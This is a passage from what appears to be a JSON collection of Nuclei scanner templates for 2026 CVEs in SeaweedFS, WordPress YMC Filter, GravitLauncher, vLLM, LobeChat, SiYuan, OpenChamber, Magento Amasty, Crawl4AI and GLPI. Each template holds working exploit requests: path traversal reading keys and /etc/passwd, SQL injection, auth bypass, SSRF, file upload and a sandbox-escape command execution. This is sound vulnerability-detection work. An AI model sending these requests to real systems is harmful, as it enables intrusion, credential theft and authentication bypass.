object=../evil-bucket/key. The captured object key is then joined into a filer path where the `..` is collapsed server-side, so the write lands in evil-bucket while authorisation is evaluated against bucket-A, enabling cross-bucket file write.\n  impact: |\n    An unauthenticated attacker can write objects to buckets other than the one named in the request path, bypassing bucket-level access controls.\n  remediation: |\n    Upgrade to SeaweedFS 4.30 or later.\n  reference:\n    - https://github.com/advisories/GHSA-w62w-66v9-vvgv\n    - https://github.com/seaweedfs/seaweedfs/commit/dd1b4287899eed3dfd73c2f3b1de001996fda229\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-54917\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N\n    cvss-score: 7.8\n    cve-id: CVE-2026-54917\n    epss-score: 0.01641\n    epss-percentile: 0.76459\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: seaweedfs\n    product: seaweedfs\n    shodan-query: server:\"SeaweedFS\"\n    fofa-query: server=\"SeaweedFS\"\n  tags: cve,cve2026,seaweedfs,traversal\n\nvariables:\n  bucket_a: \"{{to_lower(rand_base(8))}}\"\n  bucket_b: \"{{to_lower(rand_base(8))}}\"\n  file_key: \"{{to_lower(rand_base(8))}}\"\n\nhttp:\n  - raw:\n      - |\n        PUT /{{bucket_a}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Length: 0\n      - |\n        PUT /{{bucket_a}}/../{{bucket_b}}/{{file_key}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/plain\n        Content-Length: {{len(file_key)}}\n\n        {{file_key}}\n      - |\n        GET /{{bucket_b}}/{{file_key}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code_3 == 200\"\n          - \"contains(body_3, file_key)\"\n          - \"contains(header_3, 'SeaweedFS')\"\n        condition: and\n# digest: 4a0a00473045022100edba8cb66afc107212dd82bf9749faec6a14bbd2acb87daac150aea87fe3682b02207374add88b14a7ae206790df77f6edd1b1253b7ad06b229333082f3410d4d23b:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-54917.yaml","vuln_id":"cve-2026-54917"},{"raw":"id: CVE-2026-54836\n\ninfo:\n  name: YMC Filter - SQL Injection\n  author: theamanrawat\n  severity: critical\n  description: |\n    YMC Filter <= 3.11.5 contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.\n  impact: |\n    Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, modification, or deletion.\n  remediation: |\n    Update to the latest version beyond 3.11.5.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-54836\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L\n    cvss-score: 9.3\n    cve-id: CVE-2026-54836\n    epss-score: 0.01343\n    epss-percentile: 0.7144\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2026,wordpress,wp-plugin,sqli,ymc-smart-filter,unauth,vkev\n\nhttp:\n  - raw:\n      - |\n        @timeout: 20s\n        POST /wp-json/ymc/v1/posts/filter HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"params\":{\"filter_id\":{{fid}},\"search\":\"xyznotexist999') OR (SELECT 1 FROM (SELECT SLEEP(7))x)))-- -\",\"post_types\":[\"post\"],\"paged\":1}}\n\n    payloads:\n      fid:\n        - \"1\"\n        - \"2\"\n        - \"3\"\n        - \"10\"\n        - \"50\"\n        - \"100\"\n        - \"150\"\n        - \"152\"\n        - \"200\"\n        - \"250\"\n        - \"300\"\n        - \"500\"\n\n    stop-at-first-match: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=7'\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"success\\\":true\")'\n        condition: and\n# digest: 490a00463044022046b7b1dce2a33452ed825eb1aa0514cf7afc904b6c3564d85e864302d99c04aa0220149d252a259b164a6ff9b2571db5accd2071cc7f937545b8045060d2ebfae1fd:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-54836.yaml","vuln_id":"cve-2026-54836"},{"raw":"id: CVE-2026-54617\n\ninfo:\n  name: GravitLauncher LaunchServer <=5.7.11 - Unauthenticated Path Traversal to Arbitrary File Read\n  author: str4k3r\n  severity: critical\n  description: |\n    LaunchServer's Netty FileServerHandler computes the served path by stripping one leading character on the assumption that every request-target begins with '/'. Netty's HttpServerCodec accepts a request-target without a leading slash verbatim, so a request without a leading slash bypasses path normalization and escapes the updatesDir. The file server is enabled by default (netty.fileServerEnabled=true) on 0.0.0.0:9274 with no authentication, allowing an unauthenticated remote GET to read any file readable by the LaunchServer process including its own ECDSA signing key (.keys/ecdsa_id), which signs access JWTs and enables full authentication bypass for any account.\n  impact: |\n    An unauthenticated attacker can read arbitrary files including the ECDSA signing key, enabling them to forge access JWTs and bypass authentication for any account.\n  remediation: |\n    Upgrade GravitLauncher LaunchServer to a version newer than 5.7.11.\n  reference:\n    - https://github.com/GravitLauncher/Launcher/security/advisories/GHSA-5g75-477j-2c2f\n    - https://github.com/GravitLauncher/Launcher/commit/1e0b3a3\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 9.8\n    cve-id: CVE-2026-54617\n    epss-score: 0.03457\n    epss-percentile: 0.89067\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: gravitlauncher\n    product: launchserver\n  tags: cve,cve2026,gravitlauncher,launchserver,path-traversal,unauth\n\nhttp:\n  - raw:\n      - |+\n        GET ../../.keys/ecdsa_id HTTP/1.1\n        Host: {{Hostname}}\n\n    unsafe: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(hex_encode(body), \"3041020100301306072a8648ce3d020106082a8648ce3d0301070427302502010104\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a00463044022066fd4d6291a8b6b1e1ddad465ccf82829bd073938d67561e5459dbe21dbbd69702200dcf785a7028e5990e8c9e6305f2ef10bc34169247560349b31f0b207b164ca1:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-54617.yaml","vuln_id":"cve-2026-54617"},{"raw":"id: CVE-2026-54419\n\ninfo:\n  name: PIAF-HMS ec.php - SQL Injection\n  author: alex700\n  severity: critical\n  description: |\n    claudiopizzillo PIAF-HMS (PBX-In-A-Flash Hotel Management System; no released versions, latest commit 389d2633441b65ced1c104212cd62be2bfca21e5) contains multiple unauthenticated SQL injection vulnerabilities. The application has no authentication mechanism and passes user-supplied HTTP parameters directly into deprecated mysql_query calls via string concatenation, without sanitization, escaping, or parameterization.\n  impact: |\n    Remote attackers can read, modify, or delete arbitrary database records, potentially compromising the entire database.\n  remediation: |\n    Update to a version that properly sanitizes inputs and uses parameterized queries or the latest available version.\n  reference:\n    - https://www.cve.org/CVERecord?id=CVE-2026-54419\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-54419\n    - https://github.com/claudiopizzillo/PIAF-HMS/blob/389d2633441b65ced1c104212cd62be2bfca21e5/ec.php#L57\n  classification:\n    cve-id: CVE-2026-54419\n    epss-score: 0.00443\n    epss-percentile: 0.38613\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cwe-id: CWE-89\n  metadata:\n    max-request: 1\n  tags: cve,cve2026,piaf-hms,sqli\n\nvariables:\n  marker: \"{{randstr}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/ec.php?Checkin=2020-01-01&Checkout=2020-12-31&Ext=101-%25%27%20AND%201%3D0%20UNION%20SELECT%20MD5%28%27{{marker}}%27%29%2C%279123456%27%2C60%20--%20\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, md5(marker))\"\n          - \"contains_all(body, 'PIAF H.M.S.', 'Room bill')\"\n        condition: and\n# digest: 4a0a0047304502206b36c941f292b7c9c71fbae00f3c8a2a112fb19ef513d1aeefcaa74574f17276022100d6eb2a3d6fd4eb0ae13e7919fd12756f721f3e4ca86178b9663c69bc2137bb1d:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-54419.yaml","vuln_id":"cve-2026-54419"},{"raw":"id: CVE-2026-54236\n\ninfo:\n  name: vLLM <= 0.23.0 - Anthropic Router Heap Address Information Leak\n  author: kenlacroix\n  severity: medium\n  description: |\n    vLLM <= 0.23.0 incompletely fixes CVE-2026-22778. The original fix added sanitize_message to the OpenAI router but the Anthropic-compatible router (/v1/messages) echoes str(exc) directly.\n  impact: |\n    Remote attackers can leak heap addresses, significantly reducing ASLR effectiveness and enabling further exploitation like remote code execution.\n  remediation: |\n    Update to vllm version to latest.\n  reference:\n    - https://github.com/advisories/GHSA-hgg8-fqqc-vfmw\n    - https://github.com/vllm-project/vllm/pull/45119\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-54236\n    epss-score: 0.00927\n    epss-percentile: 0.60607\n    cwe-id: CWE-532\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: vllm\n    product: vllm\n    shodan-query: http.html:\"/v1/models\" http.html:\"vllm\"\n    tags: cve,cve2026,vllm,llm,ai,info-leak,anthropic,intrusive\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /v1/models HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"id\\\":\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: model\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '\"id\"\\s*:\\s*\"([^\"]+)\"'\n\n  - raw:\n      - |\n        POST /v1/messages HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"model\":\"{{model}}\",\"max_tokens\":1,\"messages\":[{\"role\":\"user\",\"content\":[{\"type\":\"text\",\"text\":\"{{randstr}}\"},{\"type\":\"image\",\"source\":{\"type\":\"base64\",\"media_type\":\"image/png\",\"data\":\"bm90YW5pbWFnZQ==\"}}]}]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 500'\n          - 'contains_all(body, \"_io.BytesIO object at 0x\", \"internal_error\")'\n        condition: and\n# digest: 4b0a00483046022100ea720ea2bd040022962dbf7d3b242e382702e55fd74b3e5636cb6af0d852b2c902210089e3d9e31ad3246e8c932cdfb89cdfcd9627cfe64cc1d7ea1a968d6924587834:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-54236.yaml","vuln_id":"cve-2026-54236"},{"raw":"id: CVE-2026-54157\n\ninfo:\n  name: LobeHub LobeChat <= 2.1.56 - Server-Side Request Forgery\n  author: 0xj3st3r\n  severity: medium\n  description: |\n    LobeHub LobeChat versions up to and including 2.1.56 are vulnerable to an unauthenticated server-side request forgery vulnerability in the /webapi/proxy endpoint. The endpoint accepts a URL in the POST request body and fetches it server-side without authentication.\n  impact: |\n    An unauthenticated attacker can cause the server to perform arbitrary outbound HTTP requests.\n  remediation: |\n    Upgrade LobeHub LobeChat to version 2.1.57 or later.\n  reference:\n    - https://github.com/lobehub/lobehub/security/advisories/GHSA-xmwj-c75x-6346\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-54157\n  classification:\n    cve-id: CVE-2026-54157\n    epss-score: 0.0183\n    epss-percentile: 0.78926\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: lobehub\n    product: lobe-chat\n    fofa-query: icon_hash=\"1975020705\"\n  tags: cve,cve2026,lobechat,ssrf,vuln,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /welcome HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(tolower(body), \"lobechat\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /webapi/proxy HTTP/1.1\n        Host: {{Hostname}}\n\n        http://oast.me\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"<h1> Interactsh Server </h1>\")'\n        condition: and\n# digest: 4a0a0047304502204cbd4711df834c10fc52bf203d477c41a3ac4fd7b6022a79220075e1945e4164022100baa3dba032c1e695b37602f939042e314561c4141af5d79518a9785b3af74455:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-54157.yaml","vuln_id":"cve-2026-54157"},{"raw":"id: CVE-2026-54069\n\ninfo:\n  name: SiYuan Note <= 3.6.5 - Authentication Bypass\n  author: 0x_Akoko\n  severity: high\n  description: |\n    SiYuan Note 3.6.5 and prior is vulnerable to authentication bypass. The CheckAuth middleware unconditionally trusted all chrome-extension:// origins, granting RoleAdministrator access without token validation to any request with a spoofed Origin header. Fixed in v3.7.0.\n  impact: |\n    Attackers can access all admin API endpoints, enabling full data exfiltration, stored XSS injection, and configuration tampering.\n  remediation: |\n    Update to SiYuan Note v3.7.0 or later.\n  reference:\n    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hvr9-72v2-fff3\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-54069\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-54069\n    epss-score: 0.07475\n    epss-percentile: 0.9449\n    cwe-id: CWE-346\n  metadata:\n    verified: false\n    max-request: 1\n    vendor: siyuan-note\n    product: siyuan\n    shodan-query: title:\"SiYuan\"\n    fofa-query: title=\"SiYuan\" || body=\"siyuan\"\n  tags: cve,cve2026,siyuan,auth-bypass,unauth\n\nhttp:\n  - raw:\n      - |\n        POST /api/system/getConf HTTP/1.1\n        Host: {{Hostname}}\n        Origin: chrome-extension://auth-test\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains(body, \"\\\"code\\\":0\")'\n          - 'contains_all(body, \"\\\"conf\\\"\", \"\\\"system\\\"\", \"\\\"kernelVersion\\\"\")'\n        condition: and\n# digest: 4a0a00473045022100ddef74e599b41f78fc585ca27f9db7649d0812cf544813927f4ccd6e0ea6787e022045018efd5829b1778af9f919a7c8f307e27f9fa6510d0b08ef00e53a03adc721:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-54069.yaml","vuln_id":"cve-2026-54069"},{"raw":"id: CVE-2026-54066\n\ninfo:\n  name: SiYuan <= 3.6.5 - Unauthenticated Path Traversal\n  author: 0x_Akoko\n  severity: high\n  description: |\n    SiYuan <= 3.6.5 contains a path traversal via double URL-encoding in the /assets/ route (publish mode port 6808), allowing unauthenticated attackers to read arbitrary files inside WorkspaceDir including conf/conf.json which exposes the API token and access auth code.\n  impact: |\n    Unauthenticated attackers can read conf/conf.json exposing the API token, accessAuthCode SHA256 hash, and sync credentials, enabling full authenticated API access to all notebooks.\n  remediation: |\n    Update to SiYuan v3.7.0 or later.\n  reference:\n    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-p4m3-mgmm-c664\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-54066\n    epss-score: 0.02175\n    epss-percentile: 0.82374\n    cwe-id: CWE-22\n  metadata:\n    verified: false\n    max-request: 1\n    vendor: siyuan-note\n    product: siyuan\n    shodan-query: port:6808 \"SiYuan\"\n    fofa-query: title=\"SiYuan\" && port=\"6808\"\n    tags: cve,cve2026,siyuan,path-traversal,lfi,unauth,publish-mode,disclosure,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /assets/%252e%252e/%252e%252e/conf/conf.json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"accessAuthCode\", \"appearance\", \"editor\", \"system\")'\n        condition: and\n# digest: 4b0a00483046022100ee2a61d66101bd910594a9b055d11ef3c41453d4a6e31fda85631063d9ad0c9f022100fd69252835d7b65e146eba179e7db3e94153d06d78b9e6f5ad5568c5c2f884b9:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-54066.yaml","vuln_id":"cve-2026-54066"},{"raw":"id: CVE-2026-53976\n\ninfo:\n  name: OpenChamber <1.13.0 - Unauthenticated Arbitrary File Read\n  author: str4k3r\n  severity: critical\n  description: |\n    OpenChamber 1.11.7 contains a path traversal vulnerability in the file-serving endpoints /api/fs/read, /api/fs/stat, and /api/fs/raw that allows unauthenticated remote attackers to read arbitrary files by supplying the allowOutsideWorkspace=true query parameter alongside an absolute path, bypassing the workspace boundary check in resolveReadPathFromContext. Attackers can exploit the vacuous isPathWithinRoot guard to read sensitive files such as the JWT signing secret, SSH private keys, API credentials, and environment variables, enabling full authentication bypass by forging session cookies on password-protected deployments.\n  impact: |\n    Unauthenticated attackers can read sensitive files and bypass authentication, leading to full system compromise.\n  remediation: |\n    Update to the latest version that fixes this vulnerability.\n  reference:\n    - https://www.vulncheck.com/advisories/openchamber-path-traversal-file-read-via-allowoutsideworkspace-parameter\n    - https://github.com/openchamber/openchamber/commit/f1b9506132faf6c564a2694c7f33b94421a49b4a\n    - https://github.com/openchamber/openchamber\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-53976\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-53976\n    epss-score: 0.02612\n    epss-percentile: 0.85462\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.title:\"OpenChamber\"\n    product: openchamber\n    vendor: openchamber\n    fofa-query: title=\"OpenChamber\"\n  tags: cve,cve2026,openchamber,lfi,traversal,unauth,oss\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/fs/read?allowOutsideWorkspace=true&path=/etc/passwd\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100d40ab1fefc9a05363c6bd973ffce2fc1d289c5804d2c0736b779b6577c464397022100cc8aaccf2a8862926113871bd43f6febd5b11bad33ebd0e1d83ef4c368482ddc:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-53976.yaml","vuln_id":"cve-2026-53976"},{"raw":"id: CVE-2026-53787\n\ninfo:\n  name: Magento 2 Amasty Order Attributes < 4.0.0 - Unauthenticated Arbitrary File Upload\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    Amasty Order Attributes for Magento 2 < 4.0.0 contains an unrestricted file upload vulnerability caused by lack of authentication and validation in the upload endpoint, letting unauthenticated attackers upload arbitrary files including PHP, enabling remote code execution or malware hosting.\n  impact: |\n    Unauthenticated attackers can upload malicious files, potentially leading to remote code execution, malware hosting, or stored cross-site scripting.\n  remediation: |\n    Update to version 4.0.0 or later.\n  reference:\n    - https://sansec.io/research/amasty-order-attributes-file-upload\n    - https://www.vulncheck.com/advisories/amasty-order-attributes-for-magento-2-unauthenticated-arbitrary-file-upload\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-53787\n  classification:\n    cvss-metrics: \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\"\n    cvss-score: 9.8\n    cve-id: CVE-2026-53787\n    epss-score: 0.05638\n    epss-percentile: 0.9298\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: amasty\n    product: order-attributes\n    shodan-query: http.component:\"Magento\"\n    google-query: inurl:\"/rest/V1/amasty_orderattr\"\n  tags: cve,cve2026,magento,amasty,file-upload,rce,unauth,intrusive\n\nvariables:\n  c1: \"{{to_lower(rand_text_alpha(1))}}\"\n  c2: \"{{to_lower(rand_text_alpha(1))}}\"\n  rest: \"{{to_lower(rand_text_alpha(6))}}\"\n  filename: \"{{c1}}{{c2}}{{rest}}.txt\"\n\nflow: http(1) && (http(2) || http(3) || http(4)) && http(5)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/\"\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(to_lower(body), \"magento\", \"mage-\", \"checkout\", \"data-mage-init\") || contains_any(to_lower(header), \"x-magento\", \"magento\")'\n        internal: true\n        condition: and\n\n  - raw:\n      - |\n        POST /rest/V1/amasty_orderattr/uploadFile HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"fileContent\":{\"base64_encoded_data\":\"Q1ZFLTIwMjYtNTM3ODctdGVzdA==\",\"fileName_with_extension\":\"{{filename}}\"}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, filename)'\n          - 'contains(content_type, \"application/json\")'\n        internal: true\n        condition: and\n\n  - raw:\n      - |\n        POST /rest/all/V1/amasty_orderattr/uploadFile HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"fileContent\":{\"base64_encoded_data\":\"Q1ZFLTIwMjYtNTM3ODctdGVzdA==\",\"fileName_with_extension\":\"{{filename}}\"}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, filename)'\n          - 'contains(content_type, \"application/json\")'\n        internal: true\n        condition: and\n\n  - raw:\n      - |\n        POST /rest/default/V1/amasty_orderattr/uploadFile HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"fileContent\":{\"base64_encoded_data\":\"Q1ZFLTIwMjYtNTM3ODctdGVzdA==\",\"fileName_with_extension\":\"{{filename}}\"}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, filename)'\n          - 'contains(content_type, \"application/json\")'\n        internal: true\n        condition: and\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/media/amasty_checkout/{{c1}}/{{c2}}/{{filename}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"CVE-2026-53787-test\")'\n          - 'contains(content_type, \"text/plain\")'\n        condition: and\n# digest: 490a00463044022035211057d6d83af187519941ed04bafc7dae9a5782ec246c301d042f48fd1611022073e2ed4f9cf642795054ddfbc01a74fabe8489b67e75ff121c720dd2f6fa316b:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-53787.yaml","vuln_id":"cve-2026-53787"},{"raw":"id: CVE-2026-53755\n\ninfo:\n  name: crawl4ai < 0.8.9 - Server Side Request Forgery\n  author: str4k3r\n  severity: high\n  description: |\n    Crawl4AI < 0.8.9 contains a server-side request forgery caused by insufficient SSRF destination checks on proxy addresses in browser and crawler configurations, letting unauthenticated attackers access internal services and cloud metadata endpoints.\n  impact: |\n    Unauthenticated attackers can access internal services and cloud metadata, potentially leading to sensitive information disclosure and further network compromise.\n  remediation: |\n    Update to version 0.8.9 or later.\n  reference:\n    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-6qhc-x826-342c\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N\n    cvss-score: 8.2\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: 'title:\"crawl4ai\"'\n    fofa-query: 'body=\"crawl4ai\"'\n  tags: cve,cve2026,crawl4ai,ssrf,unauth,proxy,oast\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(body, \"crawl4ai\", \"Crawl4AI\", \"Crawl4ai\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /crawl HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"urls\":[\"http://example.com\"],\"browser_config\":{\"type\":\"BrowserConfig\",\"params\":{\"headless\":true,\"extra_args\":[\"--proxy-server=http://{{interactsh-url}}\"]}},\"crawler_config\":{\"type\":\"CrawlerRunConfig\",\"params\":{\"cache_mode\":\"BYPASS\",\"page_timeout\":8000}}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(interactsh_protocol, \"http\", \"dns\")'\n        condition: and\n# digest: 4b0a004830460221009cd88779212738ddc672b260bbd0539d9b9f9dcdc313aca41c11ffbde7b41238022100809e760afdced137ad13f90ca172446eaf734cbb8c166f6a1ef982c146024bd0:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-53755.yaml","vuln_id":"cve-2026-53755"},{"raw":"id: CVE-2026-53753\n\ninfo:\n  name: Crawl4AI <= 0.8.6 - Remote Code Execution\n  author: aryu-ru,q1uf3ng,August829\n  severity: critical\n  description: |\n    Crawl4AI through 0.8.6 ships a Docker API server that exposes an unauthenticated /crawl endpoint. The computed field type of JsonCssExtractionStrategy evaluates a user supplied expression inside an AST based sandbox that does not restrict attribute access on generator frame objects. A generator expression can therefore reach gi_frame.f_back, walk the caller chain to f_builtins, recover __import__ and execute arbitrary operating system commands as the user running the container.\n  impact: |\n    An unauthenticated attacker can execute arbitrary operating system commands inside the crawler container, read or tamper with crawled data, steal provider API keys held in the container environment, and pivot into any network the container can reach.\n  remediation: |\n    Upgrade Crawl4AI to version 0.8.7 or later, where computed field expressions are disabled.\n  reference:\n    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-qxjp-w3pj-48m7\n    - https://github.com/unclecode/crawl4ai/pull/1855\n    - https://github.com/unclecode/crawl4ai/pull/1886\n    - https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-319.yaml\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-53753\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-53753\n    epss-score: 0.029\n    epss-percentile: 0.86983\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: unclecode\n    product: crawl4ai\n    shodan-query: http.title:\"Crawl4AI Playground\"\n    fofa-query: title=\"Crawl4AI Playground\"\n  tags: cve,cve2026,crawl4ai,unclecode,rce,sandbox-escape\n\nvariables:\n  marker: \"{{to_lower(rand_base(6))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /crawl HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n          \"urls\": [\n            \"raw://<html><body><div>crawl4ai</div></body></html>\"\n          ],\n          \"crawler_config\": {\n            \"type\": \"CrawlerRunConfig\",\n            \"params\": {\n              \"extraction_strategy\": {\n                \"type\": \"JsonCssExtractionStrategy\",\n                \"params\": {\n                  \"schema\": {\n                    \"name\": \"probe\",\n                    \"baseSelector\": \"div\",\n                    \"fields\": [\n                      {\n                        \"name\": \"probe\",\n                        \"type\": \"computed\",\n                        \"expression\": \"(lambda L: (L.append((L[0].gi_frame.f_back.f_back.f_back.f_builtins['__import__']('os').popen('echo {{marker}}$((31337*1337))').read() for q in [1])), list(L[0]))[1])([])\"\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          }\n        }\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{marker}}41897569\"\n\n      - type: word\n        part: body\n        words:\n          - '\"server_processing_time_s\"'\n          - '\"extracted_content\"'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502207935c624b13be155811ef93abd2ce23f266465de76e48faccb5dd93216cda34b022100af3ff6b37c7ce96a18fcf5b3374e4b40bb0798169121bc213986e9eea617a861:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-53753.yaml","vuln_id":"cve-2026-53753"},{"raw":"id: CVE-2026-53629\n\ninfo:\n  name: GLPI - Blind SQL Injection in History Log Filter (LogBleed)\n  author: Boreas37\n  severity: high\n  description: |\n    GLPI versions before 10.0.26 and 11.0.8 are vulnerable to a blind SQL injection in the history log filter. The Log::convertFiltersValuesToSqlCriteria() function splits the affected_fields filter into key:operator:value parts and DBmysqlIterator::analyseCrit() does not quote OR, AND and NOT as column names, allowing an authenticated user with logs READ right to inject arbitrary SQL. Verified against glpi/glpi:10.0.25 (Docker + MariaDB): filter \"OR::1 AND sleep(5)\" produces \"... AND (((((1 AND sleep(5))))))\" in the query and the request takes ~5s. On 10.0.26 the same payload is rejected (~30ms).\n  reference:\n    - https://github.com/glpi-project/glpi/security/advisories/GHSA-cpcj-x335-5cmh\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-53629\n    epss-score: 0.0102\n    epss-percentile: 0.63511\n    cwe-id: CWE-89\n  metadata:\n    max-request: 4\n    verified: 